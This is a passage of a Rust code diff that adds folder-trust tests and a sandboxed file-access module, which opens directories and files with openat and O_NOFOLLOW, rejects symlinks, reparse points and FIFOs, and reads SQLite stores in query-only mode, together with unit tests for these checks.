// grant is a no-op: a local-build grant never trusts the fresh key.
|
||||
grant_folder_trust(tmp.path());
|
||||
assert!(
|
||||
!TrustStore::load().is_trusted(&key),
|
||||
"local build: grant_folder_trust must not trust the folder"
|
||||
);
|
||||
|
||||
// Seed a genuinely-trusted folder under a simulated release build (so the
|
||||
// store actually records the grant); the guard drops at block end => local.
|
||||
{
|
||||
let _sim = simulate_release_build();
|
||||
let mut store = TrustStore::load();
|
||||
store.set_trusted(&key).unwrap();
|
||||
assert!(
|
||||
TrustStore::load().is_trusted(&key),
|
||||
"release build: seeding must record the trust grant"
|
||||
);
|
||||
}
|
||||
|
||||
// revoke is a no-op: a local-build revoke returns false AND leaves the grant
|
||||
// intact (without the guard it would `set_untrusted` and return true).
|
||||
assert!(
|
||||
!revoke_folder_trust_store(tmp.path()),
|
||||
"local build: revoke_folder_trust_store must return false"
|
||||
);
|
||||
assert!(
|
||||
TrustStore::load().is_trusted(&key),
|
||||
"local build: revoke_folder_trust_store must not untrust the folder"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn revoke_folder_trust_store_persists_untrust_for_trusted_folder() {
|
||||
// The store half of revoke, tested directly (not just via the shell
|
||||
// wrapper): a previously-trusted folder reports was_trusted=true AND gets
|
||||
// an explicit `set_untrusted` persisted, so it is untrusted on reload.
|
||||
// KIGI_SHARE_DIR-isolated so the seed/deny hit a temp store, not the real file.
|
||||
let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||||
let home = tempfile::tempdir().unwrap();
|
||||
let _env = EnvVarGuard::set("KIGI_SHARE_DIR", home.path());
|
||||
let _sim = simulate_release_build();
|
||||
let tmp = repo_tmp();
|
||||
let key = workspace_key(tmp.path());
|
||||
|
||||
let mut store = TrustStore::load();
|
||||
store.set_trusted(&key).unwrap();
|
||||
assert!(TrustStore::load().is_trusted(&key));
|
||||
|
||||
assert!(
|
||||
revoke_folder_trust_store(tmp.path()),
|
||||
"a trusted folder must report was_trusted=true"
|
||||
);
|
||||
assert!(
|
||||
!TrustStore::load().is_trusted(&key),
|
||||
"store-only revoke must persist set_untrusted for a trusted folder"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn revoke_folder_trust_store_writes_no_deny_for_never_trusted_folder() {
|
||||
// The cascade-poisoning guard: revoking a NEVER-trusted child returns
|
||||
// false and writes NO explicit child deny, so a later ancestor grant still
|
||||
// cascades to the child (a spurious child `set_untrusted` would win
|
||||
// most-specific and break the cascade). This store half does NOT touch the
|
||||
// `DECISIONS` cache — that downgrade is the shell wrapper's job.
|
||||
// KIGI_SHARE_DIR-isolated so the grant writes to a temp store.
|
||||
let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||||
let home = tempfile::tempdir().unwrap();
|
||||
let _env = EnvVarGuard::set("KIGI_SHARE_DIR", home.path());
|
||||
let _sim = simulate_release_build();
|
||||
// Distinct git roots so `workspace_key` keeps parent/child as separate
|
||||
// keys (the child's own `.git` stops discovery at the child).
|
||||
let parent = repo_tmp();
|
||||
let child = parent.path().join("child");
|
||||
std::fs::create_dir_all(&child).unwrap();
|
||||
git2::Repository::init(&child).unwrap();
|
||||
|
||||
assert!(
|
||||
!revoke_folder_trust_store(&child),
|
||||
"revoking a never-trusted folder must return false"
|
||||
);
|
||||
|
||||
// No child deny was written, so an ancestor grant still cascades down.
|
||||
let mut store = TrustStore::load();
|
||||
store.set_trusted(&workspace_key(parent.path())).unwrap();
|
||||
assert!(
|
||||
TrustStore::load().is_trusted(&workspace_key(&child)),
|
||||
"ancestor grant must cascade to a child revoked-while-untrusted (no poisoning deny)"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn decide_inputs_flags_home_key_unrecordable() {
|
||||
// Case-2 wiring: with cwd == $HOME (git-init'd so workspace_key discovers
|
||||
// it as the home git root), the gather flags key_recordable=false and
|
||||
// decide() trusts it despite configs + interactive. $HOME is overridden so
|
||||
// dirs::home_dir()/workspace_key see the tempdir as home.
|
||||
let _lock = ENV_LOCK.lock().unwrap_or_else(|e| e.into_inner());
|
||||
let home = tempfile::tempdir().unwrap();
|
||||
let _home = EnvVarGuard::set("HOME", home.path());
|
||||
git2::Repository::init(home.path()).unwrap();
|
||||
|
||||
let home_key = crate::trust::workspace_key(home.path());
|
||||
let home_inputs = decide_inputs_with_interactive(home.path(), &home_key, true);
|
||||
assert!(
|
||||
!home_inputs.key_recordable,
|
||||
"cwd == $HOME must gather key_recordable=false"
|
||||
);
|
||||
assert_eq!(
|
||||
decide(true, &home_inputs),
|
||||
TrustOutcome::Trusted,
|
||||
"an unrecordable home key resolves Trusted (no prompt, no gate)"
|
||||
);
|
||||
|
||||
// A non-home repo subdir key is recordable — the Case-2 rule can't
|
||||
// over-trigger for a real fetched repo.
|
||||
let repo = repo_tmp();
|
||||
let subdir = repo.path().join("pkg");
|
||||
std::fs::create_dir_all(&subdir).unwrap();
|
||||
let repo_key = crate::trust::workspace_key(&subdir);
|
||||
let repo_inputs = decide_inputs_with_interactive(&subdir, &repo_key, true);
|
||||
assert!(
|
||||
repo_inputs.key_recordable,
|
||||
"a non-home repo key must gather key_recordable=true"
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,295 @@
|
||||
use std::ffi::OsString;
|
||||
use std::fs::{File, Metadata};
|
||||
use std::ops::Deref;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::sync::Arc;
|
||||
use std::time::{Duration, SystemTime};
|
||||
|
||||
use kigi_sqlite_journal::JournalMode;
|
||||
use rusqlite::{Connection, OpenFlags};
|
||||
|
||||
#[cfg(unix)]
|
||||
mod unix;
|
||||
#[cfg(windows)]
|
||||
mod windows;
|
||||
|
||||
#[derive(Debug, Clone)]
|
||||
pub(super) struct ApprovedRoot {
|
||||
path: PathBuf,
|
||||
directory: Arc<File>,
|
||||
}
|
||||
|
||||
pub(super) struct OpenedRegularFile {
|
||||
pub file: File,
|
||||
pub path: PathBuf,
|
||||
pub metadata: Metadata,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub(super) struct DirectoryVisit {
|
||||
pub visited: usize,
|
||||
pub complete: bool,
|
||||
}
|
||||
|
||||
pub(super) struct ReadTransactionSqlite {
|
||||
connection: Connection,
|
||||
#[allow(dead_code)]
|
||||
metadata: Metadata,
|
||||
}
|
||||
|
||||
impl ReadTransactionSqlite {
|
||||
fn new(connection: Connection, metadata: Metadata) -> Self {
|
||||
Self {
|
||||
connection,
|
||||
metadata,
|
||||
}
|
||||
}
|
||||
|
||||
#[allow(dead_code)]
|
||||
pub fn metadata(&self) -> &Metadata {
|
||||
&self.metadata
|
||||
}
|
||||
}
|
||||
|
||||
impl Deref for ReadTransactionSqlite {
|
||||
type Target = Connection;
|
||||
|
||||
fn deref(&self) -> &Self::Target {
|
||||
&self.connection
|
||||
}
|
||||
}
|
||||
|
||||
impl Drop for ReadTransactionSqlite {
|
||||
fn drop(&mut self) {
|
||||
let _ = self.connection.execute_batch("ROLLBACK");
|
||||
}
|
||||
}
|
||||
|
||||
impl ApprovedRoot {
|
||||
pub fn new(path: &Path) -> Option<Self> {
|
||||
let path = dunce::canonicalize(path).ok()?;
|
||||
#[cfg(unix)]
|
||||
let directory = unix::open_directory_path(&path)?;
|
||||
#[cfg(windows)]
|
||||
let directory = windows::open_directory_path(&path)?;
|
||||
#[cfg(not(any(unix, windows)))]
|
||||
let directory: File = return None;
|
||||
|
||||
let metadata = directory.metadata().ok()?;
|
||||
if !metadata.is_dir() || has_reparse_point(&metadata) {
|
||||
return None;
|
||||
}
|
||||
#[cfg(windows)]
|
||||
if !windows::directory_path_matches(&path, &directory) {
|
||||
return None;
|
||||
}
|
||||
Some(Self {
|
||||
path,
|
||||
directory: Arc::new(directory),
|
||||
})
|
||||
}
|
||||
|
||||
pub fn path(&self) -> &Path {
|
||||
&self.path
|
||||
}
|
||||
|
||||
pub fn join(&self, path: impl AsRef<Path>) -> PathBuf {
|
||||
self.path.join(path)
|
||||
}
|
||||
|
||||
#[allow(dead_code)]
|
||||
pub fn modified(&self) -> Option<SystemTime> {
|
||||
self.directory.metadata().ok()?.modified().ok()
|
||||
}
|
||||
|
||||
pub fn subroot(&self, path: &Path) -> Option<Self> {
|
||||
#[cfg(unix)]
|
||||
{
|
||||
let relative = self.relative_path(path)?;
|
||||
let directory = unix::open_directory_relative(&self.directory, &relative)?;
|
||||
let metadata = directory.metadata().ok()?;
|
||||
if !metadata.is_dir() {
|
||||
return None;
|
||||
}
|
||||
Some(Self {
|
||||
path: self.path.join(relative),
|
||||
directory: Arc::new(directory),
|
||||
})
|
||||
}
|
||||
#[cfg(not(unix))]
|
||||
{
|
||||
let _ = path;
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
pub fn for_each_entry(&self, visit: impl FnMut(OsString)) -> bool {
|
||||
#[cfg(unix)]
|
||||
{
|
||||
unix::visit_directory_names(&self.directory, visit)
|
||||
}
|
||||
#[cfg(not(unix))]
|
||||
{
|
||||
let _ = visit;
|
||||
false
|
||||
}
|
||||
}
|
||||
|
||||
pub fn for_each_entry_bounded(
|
||||
&self,
|
||||
max_entries: usize,
|
||||
visit: impl FnMut(OsString),
|
||||
) -> DirectoryVisit {
|
||||
#[cfg(unix)]
|
||||
{
|
||||
unix::visit_directory_names_bounded(&self.directory, max_entries, visit)
|
||||
}
|
||||
#[cfg(not(unix))]
|
||||
{
|
||||
let _ = (max_entries, visit);
|
||||
DirectoryVisit {
|
||||
visited: 0,
|
||||
complete: false,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn relative_path(&self, path: &Path) -> Option<PathBuf> {
|
||||
let relative = if path.is_absolute() {
|
||||
path.strip_prefix(&self.path).ok()?
|
||||
} else {
|
||||
path
|
||||
};
|
||||
relative
|
||||
.components()
|
||||
.all(|component| {
|
||||
matches!(
|
||||
component,
|
||||
std::path::Component::Normal(_) | std::path::Component::CurDir
|
||||
)
|
||||
})
|
||||
.then(|| relative.to_path_buf())
|
||||
}
|
||||
|
||||
pub fn resolve_regular_file(&self, path: &Path) -> Option<(PathBuf, Metadata)> {
|
||||
let opened = self.open_regular_file(path)?;
|
||||
Some((opened.path, opened.metadata))
|
||||
}
|
||||
|
||||
pub fn open_regular_file(&self, path: &Path) -> Option<OpenedRegularFile> {
|
||||
#[cfg(unix)]
|
||||
{
|
||||
let relative = self.relative_path(path)?;
|
||||
let file = unix::open_regular_relative(&self.directory, &relative)?;
|
||||
let metadata = file.metadata().ok()?;
|
||||
if !metadata.is_file() {
|
||||
return None;
|
||||
}
|
||||
Some(OpenedRegularFile {
|
||||
file,
|
||||
path: self.path.join(relative),
|
||||
metadata,
|
||||
})
|
||||
}
|
||||
#[cfg(windows)]
|
||||
{
|
||||
let path = if path.is_absolute() {
|
||||
path.to_path_buf()
|
||||
} else {
|
||||
self.join(path)
|
||||
};
|
||||
let parent = dunce::canonicalize(path.parent()?).ok()?;
|
||||
if !parent.starts_with(&self.path) {
|
||||
return None;
|
||||
}
|
||||
let path = parent.join(path.file_name()?);
|
||||
let expected = std::fs::symlink_metadata(&path).ok()?;
|
||||
if !expected.is_file()
|
||||
|| expected.file_type().is_symlink()
|
||||
|| has_reparse_point(&expected)
|
||||
{
|
||||
return None;
|
||||
}
|
||||
let canonical_path = dunce::canonicalize(&path).ok()?;
|
||||
if canonical_path.parent() != Some(parent.as_path())
|
||||
|| !canonical_path.starts_with(&self.path)
|
||||
{
|
||||
return None;
|
||||
}
|
||||
let file = windows::open_regular_path(&canonical_path)?;
|
||||
let metadata = file.metadata().ok()?;
|
||||
if !metadata.is_file()
|
||||
|| has_reparse_point(&metadata)
|
||||
|| !windows::canonical_file_matches(&canonical_path, &file)
|
||||
{
|
||||
return None;
|
||||
}
|
||||
return Some(OpenedRegularFile {
|
||||
file,
|
||||
path: canonical_path,
|
||||
metadata,
|
||||
});
|
||||
}
|
||||
#[cfg(not(any(unix, windows)))]
|
||||
{
|
||||
let _ = path;
|
||||
None
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub(super) fn open_sqlite_transaction(
|
||||
root: &ApprovedRoot,
|
||||
path: &Path,
|
||||
) -> Option<ReadTransactionSqlite> {
|
||||
open_sqlite_transaction_with_journal_mode(root, path, JournalMode::for_db_path(path))
|
||||
}
|
||||
|
||||
fn open_sqlite_transaction_with_journal_mode(
|
||||
root: &ApprovedRoot,
|
||||
path: &Path,
|
||||
journal_mode: JournalMode,
|
||||
) -> Option<ReadTransactionSqlite> {
|
||||
match journal_mode {
|
||||
JournalMode::Wal => {}
|
||||
JournalMode::Truncate => return None,
|
||||
}
|
||||
let opened = root.open_regular_file(path)?;
|
||||
// These are same-user application stores. Canonical containment and a
|
||||
// non-symlink final file are validated above; adversarial swap-and-restore
|
||||
// races are outside this scanner's local-user threat model. Only local WAL
|
||||
// reaches this direct read-only/query-only open; its native coordination may
|
||||
// still update SHM read marks despite scanner SQL making no logical writes.
|
||||
let connection = Connection::open_with_flags(
|
||||
&opened.path,
|
||||
OpenFlags::SQLITE_OPEN_READ_ONLY
|
||||
| OpenFlags::SQLITE_OPEN_NO_MUTEX
|
||||
| OpenFlags::SQLITE_OPEN_NOFOLLOW,
|
||||
)
|
||||
.ok()?;
|
||||
let _ = connection.busy_timeout(Duration::from_millis(50));
|
||||
connection
|
||||
.execute_batch("PRAGMA query_only=ON; BEGIN DEFERRED")
|
||||
.ok()?;
|
||||
connection
|
||||
.query_row("SELECT COUNT(*) FROM sqlite_schema", [], |row| {
|
||||
row.get::<_, i64>(0)
|
||||
})
|
||||
.ok()?;
|
||||
Some(ReadTransactionSqlite::new(connection, opened.metadata))
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
fn has_reparse_point(metadata: &Metadata) -> bool {
|
||||
use std::os::windows::fs::MetadataExt as _;
|
||||
const FILE_ATTRIBUTE_REPARSE_POINT: u32 = 0x400;
|
||||
metadata.file_attributes() & FILE_ATTRIBUTE_REPARSE_POINT != 0
|
||||
}
|
||||
|
||||
#[cfg(not(windows))]
|
||||
fn has_reparse_point(_metadata: &Metadata) -> bool {
|
||||
false
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests;
|
||||
@@ -0,0 +1,224 @@
|
||||
#[cfg(unix)]
|
||||
use std::ffi::OsString;
|
||||
|
||||
#[cfg(windows)]
|
||||
use super::windows;
|
||||
use super::*;
|
||||
use crate::foreign_sessions::canonical_tempdir;
|
||||
|
||||
#[cfg(unix)]
|
||||
#[test]
|
||||
fn retained_directory_capability_survives_path_replacement() {
|
||||
use std::io::Read as _;
|
||||
|
||||
let (_tempdir, root) = canonical_tempdir();
|
||||
let outside = tempfile::tempdir().unwrap();
|
||||
let original = root.join("sessions");
|
||||
std::fs::create_dir_all(&original).unwrap();
|
||||
std::fs::write(original.join("inside"), "inside").unwrap();
|
||||
std::fs::write(outside.path().join("outside"), "outside").unwrap();
|
||||
let approved = ApprovedRoot::new(&root).unwrap();
|
||||
let retained = approved.subroot(&original).unwrap();
|
||||
|
||||
let moved = root.join("sessions-original");
|
||||
std::fs::rename(&original, &moved).unwrap();
|
||||
std::os::unix::fs::symlink(outside.path(), &original).unwrap();
|
||||
|
||||
let mut names = Vec::new();
|
||||
assert!(retained.for_each_entry(|name| names.push(name)));
|
||||
assert!(names.contains(&OsString::from("inside")));
|
||||
assert!(!names.contains(&OsString::from("outside")));
|
||||
let mut contents = String::new();
|
||||
retained
|
||||
.open_regular_file(&retained.join("inside"))
|
||||
.unwrap()
|
||||
.file
|
||||
.read_to_string(&mut contents)
|
||||
.unwrap();
|
||||
assert_eq!(contents, "inside");
|
||||
assert!(
|
||||
retained
|
||||
.open_regular_file(&retained.join("outside"))
|
||||
.is_none()
|
||||
);
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
#[test]
|
||||
fn bounded_directory_visit_reports_exact_cutoff() {
|
||||
let root = tempfile::tempdir().unwrap();
|
||||
for index in 0..5 {
|
||||
std::fs::write(root.path().join(format!("entry-{index}")), "").unwrap();
|
||||
}
|
||||
let approved = ApprovedRoot::new(root.path()).unwrap();
|
||||
let mut visited = Vec::new();
|
||||
let outcome = approved.for_each_entry_bounded(3, |name| visited.push(name));
|
||||
assert_eq!(visited.len(), 3);
|
||||
assert_eq!(
|
||||
outcome,
|
||||
DirectoryVisit {
|
||||
visited: 3,
|
||||
complete: false,
|
||||
}
|
||||
);
|
||||
|
||||
let small = tempfile::tempdir().unwrap();
|
||||
std::fs::write(small.path().join("a"), "").unwrap();
|
||||
std::fs::write(small.path().join("b"), "").unwrap();
|
||||
let approved = ApprovedRoot::new(small.path()).unwrap();
|
||||
let mut visited = 0;
|
||||
assert_eq!(
|
||||
approved.for_each_entry_bounded(3, |_| visited += 1),
|
||||
DirectoryVisit {
|
||||
visited: 2,
|
||||
complete: true,
|
||||
}
|
||||
);
|
||||
|
||||
let exact = tempfile::tempdir().unwrap();
|
||||
for index in 0..3 {
|
||||
std::fs::write(exact.path().join(format!("entry-{index}")), "").unwrap();
|
||||
}
|
||||
let approved = ApprovedRoot::new(exact.path()).unwrap();
|
||||
let mut visited = 0;
|
||||
assert_eq!(
|
||||
approved.for_each_entry_bounded(3, |_| visited += 1),
|
||||
DirectoryVisit {
|
||||
visited: 3,
|
||||
complete: true,
|
||||
}
|
||||
);
|
||||
assert_eq!(visited, 3);
|
||||
}
|
||||
|
||||
#[cfg(unix)]
|
||||
#[test]
|
||||
fn nonblocking_open_rejects_fifo() {
|
||||
use std::os::unix::ffi::OsStrExt as _;
|
||||
|
||||
let root = tempfile::tempdir().unwrap();
|
||||
let fifo = root.path().join("metadata");
|
||||
let path = std::ffi::CString::new(fifo.as_os_str().as_bytes()).unwrap();
|
||||
// SAFETY: the path is NUL-terminated and points into the live tempdir.
|
||||
assert_eq!(unsafe { libc::mkfifo(path.as_ptr(), 0o600) }, 0);
|
||||
let approved = ApprovedRoot::new(root.path()).unwrap();
|
||||
assert!(approved.open_regular_file(&fifo).is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn sqlite_truncate_mode_skips_foreign_database_without_mutation() {
|
||||
let root = tempfile::tempdir().unwrap();
|
||||
let path = root.path().join("state.db");
|
||||
let connection = rusqlite::Connection::open(&path).unwrap();
|
||||
connection
|
||||
.execute_batch(
|
||||
"PRAGMA journal_mode=WAL;
|
||||
CREATE TABLE values_for_test (value INTEGER);
|
||||
INSERT INTO values_for_test VALUES (42);",
|
||||
)
|
||||
.unwrap();
|
||||
drop(connection);
|
||||
let contents = std::fs::read(&path).unwrap();
|
||||
|
||||
let approved = ApprovedRoot::new(root.path()).unwrap();
|
||||
assert!(
|
||||
open_sqlite_transaction_with_journal_mode(&approved, &path, JournalMode::Truncate)
|
||||
.is_none()
|
||||
);
|
||||
assert_eq!(std::fs::read(&path).unwrap(), contents);
|
||||
|
||||
let connection =
|
||||
rusqlite::Connection::open_with_flags(&path, rusqlite::OpenFlags::SQLITE_OPEN_READ_ONLY)
|
||||
.unwrap();
|
||||
let journal_mode: String = connection
|
||||
.query_row("PRAGMA journal_mode", [], |row| row.get(0))
|
||||
.unwrap();
|
||||
assert_eq!(journal_mode, "wal");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn sqlite_wal_mode_queries_and_pins_snapshot() {
|
||||
let (_tempdir, root) = canonical_tempdir();
|
||||
let path = root.join("state.db");
|
||||
let writer = rusqlite::Connection::open(&path).unwrap();
|
||||
writer
|
||||
.execute_batch(
|
||||
"PRAGMA journal_mode=WAL;
|
||||
PRAGMA wal_autocheckpoint=0;
|
||||
CREATE TABLE values_for_test (value INTEGER);
|
||||
PRAGMA wal_checkpoint(TRUNCATE);
|
||||
INSERT INTO values_for_test VALUES (42);",
|
||||
)
|
||||
.unwrap();
|
||||
|
||||
let approved = ApprovedRoot::new(&root).unwrap();
|
||||
let database =
|
||||
open_sqlite_transaction_with_journal_mode(&approved, &path, JournalMode::Wal).unwrap();
|
||||
let value: i64 = database
|
||||
.query_row("SELECT value FROM values_for_test", [], |row| row.get(0))
|
||||
.unwrap();
|
||||
assert_eq!(value, 42);
|
||||
writer
|
||||
.execute("INSERT INTO values_for_test VALUES (43)", [])
|
||||
.unwrap();
|
||||
let count: i64 = database
|
||||
.query_row("SELECT COUNT(*) FROM values_for_test", [], |row| row.get(0))
|
||||
.unwrap();
|
||||
assert_eq!(count, 1);
|
||||
drop(writer);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn sqlite_scanner_connection_is_query_only() {
|
||||
let (_tempdir, root) = canonical_tempdir();
|
||||
let path = root.join("state.db");
|
||||
let connection = rusqlite::Connection::open(&path).unwrap();
|
||||
connection
|
||||
.execute_batch("CREATE TABLE values_for_test (value INTEGER);")
|
||||
.unwrap();
|
||||
drop(connection);
|
||||
|
||||
let approved = ApprovedRoot::new(&root).unwrap();
|
||||
let database = open_sqlite_transaction(&approved, &path).unwrap();
|
||||
let query_only: i64 = database
|
||||
.query_row("PRAGMA query_only", [], |row| row.get(0))
|
||||
.unwrap();
|
||||
assert_eq!(query_only, 1);
|
||||
assert!(
|
||||
database
|
||||
.execute("INSERT INTO values_for_test VALUES (1)", [])
|
||||
.is_err()
|
||||
);
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
#[test]
|
||||
fn windows_open_verifies_stable_file_identity() {
|
||||
let root = tempfile::tempdir().unwrap();
|
||||
let first = root.path().join("first");
|
||||
let second = root.path().join("second");
|
||||
std::fs::write(&first, "first").unwrap();
|
||||
std::fs::write(&second, "second").unwrap();
|
||||
let approved = ApprovedRoot::new(root.path()).unwrap();
|
||||
let opened = approved.open_regular_file(&first).unwrap();
|
||||
let first_again = windows::open_regular_path(&first).unwrap();
|
||||
let second = windows::open_regular_path(&second).unwrap();
|
||||
assert!(windows::same_file_for_test(&first_again, &opened.file));
|
||||
assert!(!windows::same_file_for_test(&second, &opened.file));
|
||||
assert!(opened.path.starts_with(approved.path()));
|
||||
assert!(windows::final_path_matches_for_test(
|
||||
&opened.path,
|
||||
&opened.file
|
||||
));
|
||||
}
|
||||
|
||||
#[cfg(windows)]
|
||||
#[test]
|
||||
fn windows_directory_scans_fail_closed() {
|
||||
let root = tempfile::tempdir().unwrap();
|
||||
let child = root.path().join("child");
|
||||
std::fs::create_dir_all(&child).unwrap();
|
||||
let approved = ApprovedRoot::new(root.path()).unwrap();
|
||||
assert!(approved.subroot(&child).is_none());
|
||||
assert!(!approved.for_each_entry(|_| panic!("enumerated on Windows")));
|
||||
}
|
||||
@@ -0,0 +1,240 @@
|
||||
use std::ffi::{CStr, OsStr, OsString};
|
||||
use std::fs::{File, OpenOptions};
|
||||
use std::path::Path;
|
||||
|
||||
use super::DirectoryVisit;
|
||||
|
||||
pub(super) fn open_directory_path(path: &Path) -> Option<File> {
|
||||
use std::os::unix::fs::OpenOptionsExt as _;
|
||||
|
||||
let mut options = OpenOptions::new();
|
||||
options
|
||||
.read(true)
|
||||
.custom_flags(libc::O_DIRECTORY | libc::O_CLOEXEC | libc::O_NOFOLLOW | libc::O_NONBLOCK);
|
||||
options.open(path).ok()
|
||||
}
|
||||
|
||||
pub(super) fn open_directory_relative(directory: &File, path: &Path) -> Option<File> {
|
||||
let mut current = directory.try_clone().ok()?;
|
||||
for component in path.components() {
|
||||
let std::path::Component::Normal(name) = component else {
|
||||
continue;
|
||||
};
|
||||
current = openat_component(
|
||||
¤t,
|
||||
name,
|
||||
libc::O_RDONLY
|
||||
| libc::O_DIRECTORY
|
||||
| libc::O_CLOEXEC
|
||||
| libc::O_NOFOLLOW
|
||||
| libc::O_NONBLOCK,
|
||||
)?;
|
||||
}
|
||||
Some(current)
|
||||
}
|
||||
|
||||
pub(super) fn open_regular_relative(directory: &File, path: &Path) -> Option<File> {
|
||||
let parent = path.parent().unwrap_or_else(|| Path::new(""));
|
||||
let directory = open_directory_relative(directory, parent)?;
|
||||
openat_component(
|
||||
&directory,
|
||||
path.file_name()?,
|
||||
libc::O_RDONLY | libc::O_CLOEXEC | libc::O_NOFOLLOW | libc::O_NONBLOCK,
|
||||
)
|
||||
}
|
||||
|
||||
fn openat_component(directory: &File, name: &OsStr, flags: i32) -> Option<File> {
|
||||
use std::os::fd::{AsRawFd as _, FromRawFd as _};
|
||||
use std::os::unix::ffi::OsStrExt as _;
|
||||
|
||||
let name = std::ffi::CString::new(name.as_bytes()).ok()?;
|
||||
// SAFETY: the directory fd and NUL-terminated child name are valid; no
|
||||
// creation mode argument is required because the flags never create.
|
||||
let fd = unsafe { libc::openat(directory.as_raw_fd(), name.as_ptr(), flags) };
|
||||
// SAFETY: a nonnegative `openat` result transfers one owned fd.
|
||||
(fd >= 0).then(|| unsafe { File::from_raw_fd(fd) })
|
||||
}
|
||||
|
||||
struct DirectoryStream(*mut libc::DIR);
|
||||
|
||||
impl DirectoryStream {
|
||||
fn open(directory: &File) -> Option<Self> {
|
||||
use std::os::fd::AsRawFd as _;
|
||||
|
||||
let dot = c".";
|
||||
// SAFETY: opening "." relative to a live directory fd returns an
|
||||
// independent directory description for `fdopendir` to own.
|
||||
let fd = unsafe {
|
||||
libc::openat(
|
||||
directory.as_raw_fd(),
|
||||
dot.as_ptr(),
|
||||
libc::O_RDONLY
|
||||
| libc::O_DIRECTORY
|
||||
| libc::O_CLOEXEC
|
||||
| libc::O_NOFOLLOW
|
||||
| libc::O_NONBLOCK,
|
||||
)
|
||||
};
|
||||
if fd < 0 {
|
||||
return None;
|
||||
}
|
||||
// SAFETY: `fd` is an owned directory fd and ownership passes to DIR.
|
||||
let stream = unsafe { libc::fdopendir(fd) };
|
||||
if stream.is_null() {
|
||||
// SAFETY: ownership did not transfer when `fdopendir` failed.
|
||||
unsafe {
|
||||
libc::close(fd);
|
||||
}
|
||||
return None;
|
||||
}
|
||||
Some(Self(stream))
|
||||
}
|
||||
|
||||
fn next(&mut self) -> Result<Option<OsString>, ()> {
|
||||
use std::os::unix::ffi::OsStringExt as _;
|
||||
|
||||
loop {
|
||||
set_errno(0);
|
||||
// SAFETY: the stream remains owned and live until close/drop.
|
||||
let entry = unsafe { libc::readdir(self.0) };
|
||||
if entry.is_null() {
|
||||
return if errno() == 0 { Ok(None) } else { Err(()) };
|
||||
}
|
||||
// SAFETY: POSIX guarantees a NUL-terminated d_name for this entry.
|
||||
let name = unsafe { CStr::from_ptr((*entry).d_name.as_ptr()) }.to_bytes();
|
||||
if name != b"." && name != b".." {
|
||||
return Ok(Some(OsString::from_vec(name.to_vec())));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
fn close(mut self) -> bool {
|
||||
let stream = std::mem::replace(&mut self.0, std::ptr::null_mut());
|
||||
// SAFETY: this is the one explicit close for the owned DIR stream.
|
||||
unsafe { libc::closedir(stream) == 0 }
|
||||
}
|
||||
}
|
||||
|
||||
impl Drop for DirectoryStream {
|
||||
fn drop(&mut self) {
|
||||
if !self.0.is_null() {
|
||||
// SAFETY: Drop owns the stream only when explicit close did not.
|
||||
unsafe {
|
||||
libc::closedir(self.0);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub(super) fn visit_directory_names(directory: &File, mut visit: impl FnMut(OsString)) -> bool {
|
||||
let Some(mut stream) = DirectoryStream::open(directory) else {
|
||||
return false;
|
||||
};
|
||||
let complete = loop {
|
||||
match stream.next() {
|
||||
Ok(Some(name)) => visit(name),
|
||||
Ok(None) => break true,
|
||||
Err(()) => break false,
|
||||
}
|
||||
};
|
||||
stream.close() && complete
|
||||
}
|
||||
|
||||
pub(super) fn visit_directory_names_bounded(
|
||||
directory: &File,
|
||||
max_entries: usize,
|
||||
mut visit: impl FnMut(OsString),
|
||||
) -> DirectoryVisit {
|
||||
let Some(mut stream) = DirectoryStream::open(directory) else {
|
||||
return DirectoryVisit {
|
||||
visited: 0,
|
||||
complete: false,
|
||||
};
|
||||
};
|
||||
let mut visited = 0;
|
||||
let complete = loop {
|
||||
if visited == max_entries {
|
||||
break matches!(stream.next(), Ok(None));
|
||||
}
|
||||
match stream.next() {
|
||||
Ok(Some(name)) => {
|
||||
visited += 1;
|
||||
visit(name);
|
||||
}
|
||||
Ok(None) => break true,
|
||||
Err(()) => break false,
|
||||
}
|
||||
};
|
||||
DirectoryVisit {
|
||||
visited,
|
||||
complete: stream.close() && complete,
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(any(target_os = "linux", target_os = "dragonfly"))]
|
||||
fn errno() -> i32 {
|
||||
// SAFETY: libc exposes one thread-local errno cell for the current thread.
|
||||
unsafe { *libc::__errno_location() }
|
||||
}
|
||||
|
||||
#[cfg(any(target_os = "linux", target_os = "dragonfly"))]
|
||||
fn set_errno(value: i32) {
|
||||
// SAFETY: libc exposes one thread-local errno cell for the current thread.
|
||||
unsafe {
|
||||
*libc::__errno_location() = value;
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(any(target_os = "macos", target_os = "ios", target_os = "freebsd"))]
|
||||
fn errno() -> i32 {
|
||||
// SAFETY: libc exposes one thread-local errno cell for the current thread.
|
||||
unsafe { *libc::__error() }
|
||||
}
|
||||
|
||||
#[cfg(any(target_os = "macos", target_os = "ios", target_os = "freebsd"))]
|
||||
fn set_errno(value: i32) {
|
||||
// SAFETY: libc exposes one thread-local errno cell for the current thread.
|
||||
unsafe {
|
||||
*libc::__error() = value;
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(any(target_os = "android", target_os = "netbsd", target_os = "openbsd"))]
|
||||
fn errno() -> i32 {
|
||||
// SAFETY: libc exposes one thread-local errno cell for the current thread.
|
||||
unsafe { *libc::__errno() }
|
||||
}
|
||||
|
||||
